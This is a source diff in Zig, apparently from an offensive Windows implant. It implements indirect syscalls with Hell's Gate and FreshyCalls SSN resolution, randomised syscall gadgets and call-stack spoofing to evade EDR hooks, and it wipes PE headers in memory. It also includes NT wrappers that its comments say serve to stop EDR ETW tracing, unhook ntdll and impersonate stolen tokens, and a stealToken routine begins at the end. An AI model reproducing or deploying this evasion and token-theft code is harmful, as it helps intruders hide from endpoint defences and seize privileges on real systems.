syscall.nt_current_process(),
|
||||
&restore_mut,
|
||||
&restore_size,
|
||||
win.PAGE_EXECUTE_READ,
|
||||
nt.PAGE_EXECUTE_READ,
|
||||
&new_old,
|
||||
);
|
||||
|
||||
const old_bytes = @as([*]u8, @ptrCast(our_base.?));
|
||||
const old_bytes: [*]u8 = @ptrCast(our_base.?);
|
||||
const e_lfanew = dos.e_lfanew;
|
||||
@memset(old_bytes[0..64], 0);
|
||||
@memset(old_bytes[@as(usize, @intCast(e_lfanew)) .. @as(usize, @intCast(e_lfanew)) + @sizeOf(pe.IMAGE_NT_HEADERS64)], 0);
|
||||
|
||||
+134
-163
@@ -1,7 +1,18 @@
|
||||
// Syscall dispatch, SSN extraction, indirect syscalls.
|
||||
const std = @import("std");
|
||||
const win = @import("win32.zig");
|
||||
const windows = std.os.windows;
|
||||
const nt = @import("nt.zig");
|
||||
const resolve = @import("resolve.zig");
|
||||
const pe = @import("pe.zig");
|
||||
|
||||
const FRESHY_MAX: usize = 1024;
|
||||
const FreshyEntry = struct { hash: u32, rva: u32 };
|
||||
|
||||
pub const RUNTIME_FUNCTION = extern struct {
|
||||
BeginAddress: u32,
|
||||
EndAddress: u32,
|
||||
UnwindInfoAddress: u32,
|
||||
};
|
||||
|
||||
var g_syscall_addrs: [64]usize = [_]usize{0} ** 64;
|
||||
var g_syscall_count: usize = 0;
|
||||
@@ -9,82 +20,71 @@ var g_ntdll_base: ?*anyopaque = null;
|
||||
var g_init_done: bool = false;
|
||||
var g_rand_state: u64 = 0;
|
||||
|
||||
// FreshyCalls table, ntdll Nt* exports sorted by RVA. SSN = sort position.
|
||||
const FRESHY_MAX: usize = 1024;
|
||||
const FreshyEntry = struct { hash: u32, rva: u32 };
|
||||
var g_freshy_entries: [FRESHY_MAX]FreshyEntry = undefined;
|
||||
var g_freshy_count: usize = 0;
|
||||
var g_freshy_ready: bool = false;
|
||||
|
||||
var g_fake_return_addr: usize = 0;
|
||||
|
||||
extern fn hells_gate(ssn: u32, syscall_addr: usize, fake_return: usize) void;
|
||||
extern fn hell_descent(a1: usize, a2: usize, a3: usize, a4: usize, a5: usize, a6: usize, a7: usize, a8: usize, a9: usize, a10: usize, a11: usize) usize;
|
||||
|
||||
pub fn xorshift64() u64 {
|
||||
var state = g_rand_state;
|
||||
state ^= state << 13;
|
||||
state ^= state >> 7;
|
||||
state ^= state << 17;
|
||||
g_rand_state = state;
|
||||
return state;
|
||||
}
|
||||
|
||||
var g_ntdll_size: usize = 0;
|
||||
pub var g_exc_begin: usize = 0;
|
||||
pub var g_exc_count: usize = 0;
|
||||
|
||||
// FreshyCalls table builder. Walks ntdll export directory, collects Nt* exports
|
||||
// with real code addresses. Sorts by RVA ascending. SSN = sort position.
|
||||
// Immune to inline hooking, EDRs cannot change linker RVA order.
|
||||
extern fn hells_gate(ssn: u32, syscall_addr: usize, fake_return: usize) void;
|
||||
extern fn hell_descent(a1: usize, a2: usize, a3: usize, a4: usize, a5: usize, a6: usize, a7: usize, a8: usize, a9: usize, a10: usize, a11: usize) usize;
|
||||
|
||||
// xorshift64 PRNG for gadget selection.
|
||||
pub fn xorshift64() u64 {
|
||||
var s = g_rand_state;
|
||||
s ^= s << 13;
|
||||
s ^= s >> 7;
|
||||
s ^= s << 17;
|
||||
g_rand_state = s;
|
||||
return s;
|
||||
}
|
||||
|
||||
// FreshyCalls: SSN = sort index, immune to inline hooks.
|
||||
fn build_freshy_table() void {
|
||||
const base = g_ntdll_base orelse return;
|
||||
const base_bytes = @as([*]u8, @ptrCast(base));
|
||||
const dos = @as(*align(1) extern struct { e_magic: u16, pad: [58]u8, e_lfanew: u32 }, @ptrCast(@constCast(base_bytes)));
|
||||
const base_bytes: [*]u8 = @ptrCast(base);
|
||||
const dos: *align(1) const pe.IMAGE_DOS_HEADER = @ptrCast(@alignCast(base_bytes));
|
||||
if (dos.e_magic != 0x5A4D) return;
|
||||
const NT_SIGNATURE: u32 = 0x00004550;
|
||||
const nt = @as(*align(1) extern struct {
|
||||
Signature: u32,
|
||||
FileHeader: extern struct { Machine: u16, NumberOfSections: u16, pad: [16]u8 },
|
||||
OptionalHeader: extern struct { Magic: u16, pad1: [110]u8, DataDirectory: [16]extern struct { VirtualAddress: u32, Size: u32 } },
|
||||
}, @ptrCast(@constCast(base_bytes + @as(usize, @intCast(dos.e_lfanew)))));
|
||||
if (nt.Signature != NT_SIGNATURE) return;
|
||||
|
||||
const export_dir = nt.OptionalHeader.DataDirectory[0];
|
||||
const nt_hdrs: *align(1) const pe.IMAGE_NT_HEADERS64 = @ptrCast(@alignCast(
|
||||
base_bytes + @as(usize, @intCast(dos.e_lfanew)),
|
||||
));
|
||||
if (nt_hdrs.Signature != 0x00004550) return;
|
||||
|
||||
const export_dir = nt_hdrs.OptionalHeader.DataDirectory[0];
|
||||
if (export_dir.VirtualAddress == 0 or export_dir.Size == 0) return;
|
||||
|
||||
const exp = @as(*align(1) extern struct {
|
||||
Characteristics: u32,
|
||||
TimeDateStamp: u32,
|
||||
MajorVersion: u16,
|
||||
MinorVersion: u16,
|
||||
Name: u32,
|
||||
Base: u32,
|
||||
NumberOfFunctions: u32,
|
||||
NumberOfNames: u32,
|
||||
AddressOfFunctions: u32,
|
||||
AddressOfNames: u32,
|
||||
AddressOfNameOrdinals: u32,
|
||||
}, @ptrCast(@constCast(base_bytes + @as(usize, @intCast(export_dir.VirtualAddress)))));
|
||||
const exp: *align(1) const pe.IMAGE_EXPORT_DIRECTORY = @ptrCast(@alignCast(
|
||||
base_bytes + @as(usize, @intCast(export_dir.VirtualAddress)),
|
||||
));
|
||||
|
||||
if (exp.NumberOfNames == 0) return;
|
||||
const names = @as([*]u32, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(exp.AddressOfNames)))));
|
||||
const funcs = @as([*]u32, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(exp.AddressOfFunctions)))));
|
||||
const ords = @as([*]u16, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(exp.AddressOfNameOrdinals)))));
|
||||
const names: [*]align(1) const u32 = @ptrCast(@alignCast(
|
||||
base_bytes + @as(usize, @intCast(exp.AddressOfNames)),
|
||||
));
|
||||
const funcs: [*]align(1) const u32 = @ptrCast(@alignCast(
|
||||
base_bytes + @as(usize, @intCast(exp.AddressOfFunctions)),
|
||||
));
|
||||
const ords: [*]align(1) const u16 = @ptrCast(@alignCast(
|
||||
base_bytes + @as(usize, @intCast(exp.AddressOfNameOrdinals)),
|
||||
));
|
||||
|
||||
g_freshy_count = 0;
|
||||
const export_dir_end = export_dir.VirtualAddress + export_dir.Size;
|
||||
var i: u32 = 0;
|
||||
while (i < exp.NumberOfNames and g_freshy_count < FRESHY_MAX) : (i += 1) {
|
||||
const name_ptr = @as([*:0]u8, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(names[i])))));
|
||||
const name_ptr: [*:0]const u8 = @ptrCast(@alignCast(
|
||||
base_bytes + @as(usize, @intCast(names[i])),
|
||||
));
|
||||
const name = std.mem.sliceTo(name_ptr, 0);
|
||||
// Only Nt* exports, Zw* shares identical SSNs and would produce duplicates
|
||||
if (name.len < 2 or name[0] != 'N' or name[1] != 't') continue;
|
||||
|
||||
const ordinal = ords[i];
|
||||
if (ordinal >= exp.NumberOfFunctions) continue;
|
||||
const rva = funcs[ordinal];
|
||||
// Skip forwarded exports, RVAs point inside the export directory
|
||||
if (rva >= export_dir.VirtualAddress and rva < export_dir_end) continue;
|
||||
|
||||
g_freshy_entries[g_freshy_count] = FreshyEntry{
|
||||
@@ -94,27 +94,14 @@ fn build_freshy_table() void {
|
||||
g_freshy_count += 1;
|
||||
}
|
||||
|
||||
// Sort by RVA ascending, SSN = position in sorted order
|
||||
if (g_freshy_count > 1) {
|
||||
var bubble_i: usize = 0;
|
||||
while (bubble_i < g_freshy_count - 1) : (bubble_i += 1) {
|
||||
var swapped = false;
|
||||
var bubble_j: usize = 0;
|
||||
while (bubble_j < g_freshy_count - 1 - bubble_i) : (bubble_j += 1) {
|
||||
if (g_freshy_entries[bubble_j].rva > g_freshy_entries[bubble_j + 1].rva) {
|
||||
const tmp = g_freshy_entries[bubble_j];
|
||||
g_freshy_entries[bubble_j] = g_freshy_entries[bubble_j + 1];
|
||||
g_freshy_entries[bubble_j + 1] = tmp;
|
||||
swapped = true;
|
||||
}
|
||||
}
|
||||
if (!swapped) break;
|
||||
std.mem.sort(FreshyEntry, g_freshy_entries[0..g_freshy_count], {}, struct {
|
||||
fn lt(_: void, a: FreshyEntry, b: FreshyEntry) bool {
|
||||
return a.rva < b.rva;
|
||||
}
|
||||
}
|
||||
}.lt);
|
||||
g_freshy_ready = true;
|
||||
}
|
||||
|
||||
// FreshyCalls lookup, linear scan by hash in sorted table. Returns SSN.
|
||||
fn extract_ssn_freshy(func_hash: u32) ?u16 {
|
||||
if (!g_freshy_ready) return null;
|
||||
for (0..g_freshy_count) |i| {
|
||||
@@ -125,27 +112,19 @@ fn extract_ssn_freshy(func_hash: u32) ?u16 {
|
||||
return null;
|
||||
}
|
||||
|
||||
pub const RUNTIME_FUNCTION = extern struct {
|
||||
BeginAddress: u32,
|
||||
EndAddress: u32,
|
||||
UnwindInfoAddress: u32,
|
||||
};
|
||||
|
||||
// Falls back to HAL's Gate, binary search exception directory with 0xB8 scan.
|
||||
// Extract SSN. FreshyCalls first, falls back to .pdata binary search + 0xB8 scan.
|
||||
pub fn extract_ssn(func_hash: u32) ?u16 {
|
||||
if (!init_syscall()) return null;
|
||||
|
||||
if (extract_ssn_freshy(func_hash)) |ssn| return ssn;
|
||||
|
||||
const base = g_ntdll_base orelse return null;
|
||||
const func_addr = resolve.get_func_by_hash(base, func_hash) orelse return null;
|
||||
const func_addr_base = @intFromPtr(func_addr);
|
||||
const base_addr = @intFromPtr(base);
|
||||
const in_ntdll = func_addr_base >= base_addr and func_addr_base < base_addr + g_ntdll_size;
|
||||
if (!in_ntdll) return null;
|
||||
const func_rva = @as(u32, @intCast(func_addr_base - base_addr));
|
||||
const func_rva: u32 = @intCast(func_addr_base - base_addr);
|
||||
if (g_exc_count == 0) return null;
|
||||
const funcs = @as([*]align(1) const RUNTIME_FUNCTION, @ptrFromInt(g_exc_begin));
|
||||
const funcs: [*]align(1) const RUNTIME_FUNCTION = @ptrFromInt(g_exc_begin);
|
||||
var lo: usize = 0;
|
||||
var hi: usize = g_exc_count;
|
||||
while (lo < hi) {
|
||||
@@ -158,10 +137,11 @@ pub fn extract_ssn(func_hash: u32) ?u16 {
|
||||
} else {
|
||||
const start_rva = entry.BeginAddress;
|
||||
const end_rva = entry.EndAddress;
|
||||
const scan_bytes = @as([*]const u8, @ptrCast(@as([*]u8, @ptrCast(base)) + start_rva));
|
||||
const scan_bytes: [*]const u8 = @ptrCast(@as([*]u8, @ptrCast(base)) + start_rva);
|
||||
const scan_len = @min(end_rva - start_rva, 96);
|
||||
var j: usize = 4;
|
||||
while (j < scan_len) : (j += 1) {
|
||||
var j: usize = 0;
|
||||
while (j + 4 < scan_len) : (j += 1) {
|
||||
// 0xB8 = "mov eax, imm32" — the SSN follows in the next 4 bytes
|
||||
if (scan_bytes[j] == 0xB8) {
|
||||
const ssn = std.mem.readInt(u32, scan_bytes[j + 1 ..][0..4], .little);
|
||||
if ((ssn & 0xFFFF0000) == 0 and ssn > 0 and ssn < 0x1000) {
|
||||
@@ -175,85 +155,81 @@ pub fn extract_ssn(func_hash: u32) ?u16 {
|
||||
return null;
|
||||
}
|
||||
|
||||
// Seeds PRNG, builds FreshyCalls table, caches exception directory.
|
||||
// Runs once, subsequent calls no-op.
|
||||
// Seed PRNG, scan ntdll .text for syscall;ret gadgets + standalone ret,
|
||||
// cache .pdata bounds, build FreshyCalls table. Runs once.
|
||||
pub fn init_syscall() bool {
|
||||
if (g_init_done and g_ntdll_base != null) return true;
|
||||
const ntdll_hash = resolve.hash_ror13("ntdll.dll");
|
||||
g_ntdll_base = resolve.get_module_by_hash(ntdll_hash);
|
||||
if (g_ntdll_base == null) return false;
|
||||
|
||||
// Seed PRNG from stack address ^ tick count
|
||||
var stack_var: u64 = 0;
|
||||
g_rand_state = @as(u64, @truncate(@intFromPtr(&stack_var)));
|
||||
if (resolve.resolve_api(resolve.hash_ror13("kernel32.dll"), resolve.hash_ror13("GetTickCount64"))) |p| {
|
||||
const GetTickCount64 = @as(*const fn () callconv(win.WINAPI) u64, @ptrCast(p));
|
||||
const GetTickCount64 = @as(*const fn () callconv(nt.WINAPI) u64, @ptrCast(p));
|
||||
g_rand_state ^= GetTickCount64();
|
||||
}
|
||||
|
||||
// Scan .text for syscall;ret (0F 05 C3) gadgets, scoped to .text section
|
||||
const base_bytes = @as([*]const u8, @ptrCast(g_ntdll_base.?));
|
||||
const dos = @as(*align(1) extern struct { e_magic: u16, pad: [58]u8, e_lfanew: u32 }, @ptrCast(@constCast(base_bytes)));
|
||||
const base_addr = g_ntdll_base.?;
|
||||
const base_bytes: [*]const u8 = @ptrCast(base_addr);
|
||||
const dos: *align(1) const pe.IMAGE_DOS_HEADER = @ptrCast(@alignCast(base_bytes));
|
||||
if (dos.e_magic != 0x5A4D) return false;
|
||||
const NT_SIGNATURE: u32 = 0x00004550;
|
||||
const nt = @as(*align(1) extern struct { Signature: u32, FileHeader: extern struct { Machine: u16, NumberOfSections: u16, pad: [16]u8 }, OptionalHeader: extern struct { pad0: [56]u8, SizeOfImage: u32, pad1: [180]u8 } }, @ptrCast(@constCast(base_bytes + @as(usize, @intCast(dos.e_lfanew)))));
|
||||
if (nt.Signature != NT_SIGNATURE) return false;
|
||||
g_ntdll_size = nt.OptionalHeader.SizeOfImage;
|
||||
|
||||
const nt_hdrs: *align(1) const pe.IMAGE_NT_HEADERS64 = @ptrCast(@alignCast(
|
||||
base_bytes + @as(usize, @intCast(dos.e_lfanew)),
|
||||
));
|
||||
if (nt_hdrs.Signature != 0x00004550) return false;
|
||||
g_ntdll_size = nt_hdrs.OptionalHeader.SizeOfImage;
|
||||
|
||||
g_syscall_count = 0;
|
||||
|
||||
// Walk section headers to find .text and .pdata bounds
|
||||
{
|
||||
const section_start = @as(usize, @intCast(@intFromPtr(nt) + 24 + 240));
|
||||
const sections = @as([*]align(1) extern struct { Name: [8]u8, VirtualSize: u32, VirtualAddress: u32, SizeOfRawData: u32, PointerToRawData: u32, PointerToRelocations: u32, PointerToLinenumbers: u32, NumberOfRelocations: u16, NumberOfLinenumbers: u16, Characteristics: u32 }, @ptrFromInt(section_start));
|
||||
var text_va: usize = 0;
|
||||
var text_size: usize = 0;
|
||||
for (0..nt.FileHeader.NumberOfSections) |si| {
|
||||
const sec = §ions[si];
|
||||
if (std.mem.eql(u8, sec.Name[0..5], ".text") and sec.Name[5] == 0) {
|
||||
text_va = sec.VirtualAddress;
|
||||
text_size = sec.VirtualSize;
|
||||
}
|
||||
if (sec.Name[0] == '.' and sec.Name[1] == 'p' and sec.Name[2] == 'd' and sec.Name[3] == 'a' and sec.Name[4] == 't' and sec.Name[5] == 'a') {
|
||||
g_exc_begin = @intFromPtr(@as([*]u8, @ptrCast(g_ntdll_base.?)) + sec.VirtualAddress);
|
||||
g_exc_count = sec.VirtualSize / @sizeOf(RUNTIME_FUNCTION);
|
||||
}
|
||||
}
|
||||
if (text_va == 0 or text_size == 0) return false;
|
||||
const section_off = @as(usize, @intCast(dos.e_lfanew)) + @sizeOf(pe.IMAGE_NT_HEADERS64);
|
||||
const sections: [*]align(1) const pe.IMAGE_SECTION_HEADER = @ptrCast(@alignCast(
|
||||
@as([*]u8, @ptrCast(@constCast(base_bytes))) + section_off,
|
||||
));
|
||||
|
||||
// Scan .text for syscall;ret (0F 05 C3) gadgets
|
||||
var j: usize = text_va;
|
||||
const scan_end: usize = text_va + text_size;
|
||||
while (j < scan_end - 3 and g_syscall_count < g_syscall_addrs.len) : (j += 1) {
|
||||
if (base_bytes[j] == 0x0F and base_bytes[j + 1] == 0x05 and base_bytes[j + 2] == 0xC3) {
|
||||
g_syscall_addrs[g_syscall_count] = @intFromPtr(&base_bytes[j]);
|
||||
g_syscall_count += 1;
|
||||
}
|
||||
// Find standalone ret (0xC3) not part of syscall;ret for callstack spoof
|
||||
if (g_fake_return_addr == 0 and base_bytes[j] == 0xC3) {
|
||||
if (j < 2 or base_bytes[j - 2] != 0x0F or base_bytes[j - 1] != 0x05) {
|
||||
g_fake_return_addr = @intFromPtr(&base_bytes[j]);
|
||||
}
|
||||
var text_va: usize = 0;
|
||||
var text_size: usize = 0;
|
||||
for (0..nt_hdrs.FileHeader.NumberOfSections) |si| {
|
||||
const sec = §ions[si];
|
||||
if (std.mem.eql(u8, sec.Name[0..5], ".text") and sec.Name[5] == 0) {
|
||||
text_va = sec.VirtualAddress;
|
||||
text_size = sec.VirtualSize;
|
||||
}
|
||||
if (std.mem.eql(u8, sec.Name[0..6], ".pdata") and sec.Name[6] == 0)
|
||||
{
|
||||
g_exc_begin = @intFromPtr(@as([*]u8, @ptrCast(base_addr)) + sec.VirtualAddress);
|
||||
g_exc_count = sec.VirtualSize / @sizeOf(RUNTIME_FUNCTION);
|
||||
}
|
||||
}
|
||||
if (text_va == 0 or text_size == 0) return false;
|
||||
|
||||
var j: usize = text_va;
|
||||
const scan_end: usize = text_va + text_size;
|
||||
while (j < scan_end - 3 and g_syscall_count < g_syscall_addrs.len) : (j += 1) {
|
||||
if (base_bytes[j] == 0x0F and base_bytes[j + 1] == 0x05 and base_bytes[j + 2] == 0xC3) {
|
||||
g_syscall_addrs[g_syscall_count] = @intFromPtr(&base_bytes[j]);
|
||||
g_syscall_count += 1;
|
||||
}
|
||||
if (g_fake_return_addr == 0 and base_bytes[j] == 0xC3) {
|
||||
if (j < 2 or base_bytes[j - 2] != 0x0F or base_bytes[j - 1] != 0x05) {
|
||||
g_fake_return_addr = @intFromPtr(&base_bytes[j]);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (g_syscall_count == 0) return false;
|
||||
|
||||
// Build FreshyCalls table
|
||||
build_freshy_table();
|
||||
|
||||
g_init_done = true;
|
||||
return true;
|
||||
}
|
||||
|
||||
// Syscall dispatch. Extracts SSN, picks random gadget from pool, calls asm stub.
|
||||
pub fn syscall_dispatch(ssn_hash: u32, args: [*]const usize, arg_count: usize) usize {
|
||||
const ssn = extract_ssn(ssn_hash) orelse return @as(usize, 0xC0000001);
|
||||
const idx = @as(usize, @truncate(xorshift64())) % g_syscall_count;
|
||||
const gadget = g_syscall_addrs[idx];
|
||||
// Callstack spoof: push standalone ret from ntdll so kernel sees ntdll frames.
|
||||
// Gated to <5 args, 5+ arg syscalls have stack args RSP+0x28+idx*8 shifted by push.
|
||||
const fake: usize = if (arg_count < 5) g_fake_return_addr else 0;
|
||||
hells_gate(@as(u32, ssn), gadget, fake);
|
||||
const a = [11]usize{
|
||||
@@ -272,87 +248,82 @@ pub fn syscall_dispatch(ssn_hash: u32, args: [*]const usize, arg_count: usize) u
|
||||
return hell_descent(a[0], a[1], a[2], a[3], a[4], a[5], a[6], a[7], a[8], a[9], a[10]);
|
||||
}
|
||||
|
||||
fn ntstatus(r: usize) win.NTSTATUS {
|
||||
return @as(win.NTSTATUS, @bitCast(@as(u32, @truncate(r))));
|
||||
fn ntstatus(r: usize) windows.NTSTATUS {
|
||||
return @enumFromInt(@as(u32, @truncate(r)));
|
||||
}
|
||||
|
||||
// --------- NT API wrappers ---------
|
||||
// Each packs its NT params into a [N]usize array and calls syscall_dispatch with a ror13 hash.
|
||||
// ---- NT API wrappers ----
|
||||
// Ref: https://ntdoc.m417z.com
|
||||
|
||||
// Standard sleep syscall.
|
||||
pub fn nt_delay_execution(alertable: win.BOOLEAN, interval: *const win.LARGE_INTEGER) win.NTSTATUS {
|
||||
const args = [_]usize{ @intFromBool(alertable != 0), @intFromPtr(interval) };
|
||||
// https://ntdoc.m417z.com/ntdelayexecution
|
||||
pub fn nt_delay_execution(alertable: windows.BOOLEAN, interval: *const windows.LARGE_INTEGER) windows.NTSTATUS {
|
||||
const args = [_]usize{ @as(usize, @intFromEnum(alertable)), @intFromPtr(interval) };
|
||||
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtDelayExecution"), &args, 2));
|
||||
}
|
||||
|
||||
// Sets thread properties (hide from debugger, etc).
|
||||
pub fn nt_set_information_thread(thread_handle: win.HANDLE, info_class: u32, info: ?*const anyopaque, info_len: u32) win.NTSTATUS {
|
||||
// https://ntdoc.m417z.com/ntsetinformationthread
|
||||
pub fn nt_set_information_thread(thread_handle: windows.HANDLE, info_class: u32, info: ?*const anyopaque, info_len: u32) windows.NTSTATUS {
|
||||
const args = [_]usize{ @intFromPtr(thread_handle), @as(usize, info_class), if (info) |i| @intFromPtr(i) else @as(usize, 0), @as(usize, info_len) };
|
||||
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtSetInformationThread"), &args, 4));
|
||||
}
|
||||
|
||||
// Closes a handle.
|
||||
pub fn nt_close(handle: win.HANDLE) win.NTSTATUS {
|
||||
// https://ntdoc.m417z.com/ntclose
|
||||
pub fn nt_close(handle: windows.HANDLE) windows.NTSTATUS {
|
||||
const args = [_]usize{@intFromPtr(handle)};
|
||||
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtClose"), &args, 1));
|
||||
}
|
||||
|
||||
// Pseudo-handles: no need to open, just use these constants
|
||||
pub fn nt_current_process() win.HANDLE {
|
||||
return @as(win.HANDLE, @ptrFromInt(0xFFFFFFFFFFFFFFFF));
|
||||
pub fn nt_current_process() windows.HANDLE {
|
||||
return @as(windows.HANDLE, @ptrFromInt(0xFFFFFFFFFFFFFFFF));
|
||||
}
|
||||
pub fn nt_current_thread() win.HANDLE {
|
||||
return @as(win.HANDLE, @ptrFromInt(0xFFFFFFFFFFFFFFFE));
|
||||
pub fn nt_current_thread() windows.HANDLE {
|
||||
return @as(windows.HANDLE, @ptrFromInt(0xFFFFFFFFFFFFFFFE));
|
||||
}
|
||||
|
||||
// Opens a handle to another process by PID.
|
||||
pub fn nt_open_process(process_handle: *win.HANDLE, desired_access: win.DWORD, object_attributes: *const win.OBJECT_ATTRIBUTES, client_id: *const win.CLIENT_ID) win.NTSTATUS {
|
||||
// https://ntdoc.m417z.com/ntopenprocess
|
||||
pub fn nt_open_process(process_handle: *windows.HANDLE, desired_access: windows.DWORD, object_attributes: *const nt.OBJECT_ATTRIBUTES, client_id: *const nt.CLIENT_ID) windows.NTSTATUS {
|
||||
const args = [_]usize{ @intFromPtr(process_handle), @as(usize, desired_access), @intFromPtr(object_attributes), @intFromPtr(client_id) };
|
||||
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtOpenProcess"), &args, 4));
|
||||
}
|
||||
|
||||
// Changes page protection.
|
||||
pub fn nt_protect_virtual_memory(process_handle: win.HANDLE, base_address: *?*anyopaque, region_size: *win.SIZE_T, new_protect: win.ULONG, old_protect: *win.ULONG) win.NTSTATUS {
|
||||
// https://ntdoc.m417z.com/ntprotectvirtualmemory
|
||||
pub fn nt_protect_virtual_memory(process_handle: windows.HANDLE, base_address: *?*anyopaque, region_size: *windows.SIZE_T, new_protect: windows.ULONG, old_protect: *windows.ULONG) windows.NTSTATUS {
|
||||
const args = [_]usize{ @intFromPtr(process_handle), @intFromPtr(base_address), @intFromPtr(region_size), @as(usize, new_protect), @intFromPtr(old_protect) };
|
||||
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtProtectVirtualMemory"), &args, 5));
|
||||
}
|
||||
|
||||
// Controls ETW tracing sessions. Used to stop EDR provider GUIDs.
|
||||
pub fn nt_trace_control(code: win.ULONG, input: ?*anyopaque, input_len: win.ULONG, output: ?*anyopaque, output_len: win.ULONG, ret_len: *win.ULONG) win.NTSTATUS {
|
||||
// https://ntdoc.m417z.com/nttracecontrol
|
||||
pub fn nt_trace_control(code: windows.ULONG, input: ?*anyopaque, input_len: windows.ULONG, output: ?*anyopaque, output_len: windows.ULONG, ret_len: *windows.ULONG) windows.NTSTATUS {
|
||||
const args = [_]usize{ @as(usize, code), if (input) |p| @intFromPtr(p) else @as(usize, 0), @as(usize, input_len), if (output) |p| @intFromPtr(p) else @as(usize, 0), @as(usize, output_len), @intFromPtr(ret_len) };
|
||||
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtTraceControl"), &args, 6));
|
||||
}
|
||||
|
||||
// Opens an existing section object by name. Used by ntdll unhooking to map \KnownDlls\ntdll.dll.
|
||||
// Ref: https://ntdoc.m417z.com/ntopensection
|
||||
pub fn nt_open_section(section_handle: *win.HANDLE, desired_access: win.DWORD, object_attributes: *win.OBJECT_ATTRIBUTES) win.NTSTATUS {
|
||||
// https://ntdoc.m417z.com/ntopensection
|
||||
pub fn nt_open_section(section_handle: *windows.HANDLE, desired_access: windows.DWORD, object_attributes: *nt.OBJECT_ATTRIBUTES) windows.NTSTATUS {
|
||||
const args = [_]usize{ @intFromPtr(section_handle), @as(usize, desired_access), @intFromPtr(object_attributes) };
|
||||
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtOpenSection"), &args, 3));
|
||||
}
|
||||
|
||||
// Maps a view of a section into the virtual address space of a process.
|
||||
// Ref: https://ntdoc.m417z.com/ntmapviewofsection
|
||||
pub fn nt_map_view_of_section(section_handle: win.HANDLE, process_handle: win.HANDLE, base_address: *?*anyopaque, zero_bits: win.ULONG_PTR, commit_size: win.SIZE_T, section_offset: ?*win.LARGE_INTEGER, view_size: *win.SIZE_T, inherit_disposition: u32, allocation_type: win.ULONG, protect: win.ULONG) win.NTSTATUS {
|
||||
// https://ntdoc.m417z.com/ntmapviewofsection
|
||||
pub fn nt_map_view_of_section(section_handle: windows.HANDLE, process_handle: windows.HANDLE, base_address: *?*anyopaque, zero_bits: windows.ULONG_PTR, commit_size: windows.SIZE_T, section_offset: ?*windows.LARGE_INTEGER, view_size: *windows.SIZE_T, inherit_disposition: u32, allocation_type: windows.ULONG, protect: windows.ULONG) windows.NTSTATUS {
|
||||
const args = [_]usize{ @intFromPtr(section_handle), @intFromPtr(process_handle), @intFromPtr(base_address), @as(usize, @intCast(zero_bits)), @as(usize, commit_size), if (section_offset) |off| @intFromPtr(off) else @as(usize, 0), @intFromPtr(view_size), @as(usize, inherit_disposition), @as(usize, allocation_type), @as(usize, protect) };
|
||||
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtMapViewOfSection"), &args, 10));
|
||||
}
|
||||
|
||||
// Unmaps a view of a section. Ref: https://ntdoc.m417z.com/ntunmapviewofsection
|
||||
pub fn nt_unmap_view_of_section(process_handle: win.HANDLE, base_address: ?*anyopaque) win.NTSTATUS {
|
||||
// https://ntdoc.m417z.com/ntunmapviewofsection
|
||||
pub fn nt_unmap_view_of_section(process_handle: windows.HANDLE, base_address: ?*anyopaque) windows.NTSTATUS {
|
||||
const args = [_]usize{ @intFromPtr(process_handle), @intFromPtr(base_address) };
|
||||
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtUnmapViewOfSection"), &args, 2));
|
||||
}
|
||||
|
||||
// Opens the access token associated with a process. Used by token theft.
|
||||
// Ref: https://ntdoc.m417z.com/ntopenprocesstoken
|
||||
pub fn nt_open_process_token(process_handle: win.HANDLE, desired_access: win.DWORD, token_handle: *win.HANDLE) win.NTSTATUS {
|
||||
// https://ntdoc.m417z.com/ntopenprocesstoken
|
||||
pub fn nt_open_process_token(process_handle: windows.HANDLE, desired_access: windows.DWORD, token_handle: *windows.HANDLE) windows.NTSTATUS {
|
||||
const args = [_]usize{ @intFromPtr(process_handle), @as(usize, desired_access), @intFromPtr(token_handle) };
|
||||
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtOpenProcessToken"), &args, 3));
|
||||
}
|
||||
|
||||
// Duplicates a token handle. Used to create an impersonation token from a primary token.
|
||||
// Ref: https://ntdoc.m417z.com/ntduplicatetoken
|
||||
pub fn nt_duplicate_token(existing_token: win.HANDLE, desired_access: win.DWORD, object_attributes: ?*win.OBJECT_ATTRIBUTES, effective_only: win.BOOLEAN, token_type: win.DWORD, new_token: *win.HANDLE) win.NTSTATUS {
|
||||
const args = [_]usize{ @intFromPtr(existing_token), @as(usize, desired_access), if (object_attributes) |oa| @intFromPtr(oa) else @as(usize, 0), @intFromBool(effective_only != 0), @as(usize, token_type), @intFromPtr(new_token) };
|
||||
// https://ntdoc.m417z.com/ntduplicatetoken
|
||||
pub fn nt_duplicate_token(existing_token: windows.HANDLE, desired_access: windows.DWORD, object_attributes: ?*nt.OBJECT_ATTRIBUTES, effective_only: windows.BOOLEAN, token_type: windows.DWORD, new_token: *windows.HANDLE) windows.NTSTATUS {
|
||||
const args = [_]usize{ @intFromPtr(existing_token), @as(usize, desired_access), if (object_attributes) |oa| @intFromPtr(oa) else @as(usize, 0), @as(usize, @intFromEnum(effective_only)), @as(usize, token_type), @intFromPtr(new_token) };
|
||||
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtDuplicateToken"), &args, 6));
|
||||
}
|
||||
|
||||
+20
-17
@@ -1,41 +1,44 @@
|
||||
// Token impersonation via indirect syscalls.
|
||||
const std = @import("std");
|
||||
const windows = std.os.windows;
|
||||
const nt = @import("nt.zig");
|
||||
const syscall = @import("syscall.zig");
|
||||
const win = @import("win32.zig");
|
||||
|
||||
const ThreadImpersonationToken: u32 = 5; // phnt ntpsapi.h THREADINFOCLASS enum
|
||||
const ThreadImpersonationToken: u32 = 5;
|
||||
|
||||
pub fn stealToken(pid: u32) bool {
|
||||
var cid = std.mem.zeroes(win.CLIENT_ID);
|
||||
var cid = std.mem.zeroes(nt.CLIENT_ID);
|
||||
cid.UniqueProcess = @ptrFromInt(@as(usize, pid));
|
||||
var oa = std.mem.zeroes(win.OBJECT_ATTRIBUTES);
|
||||
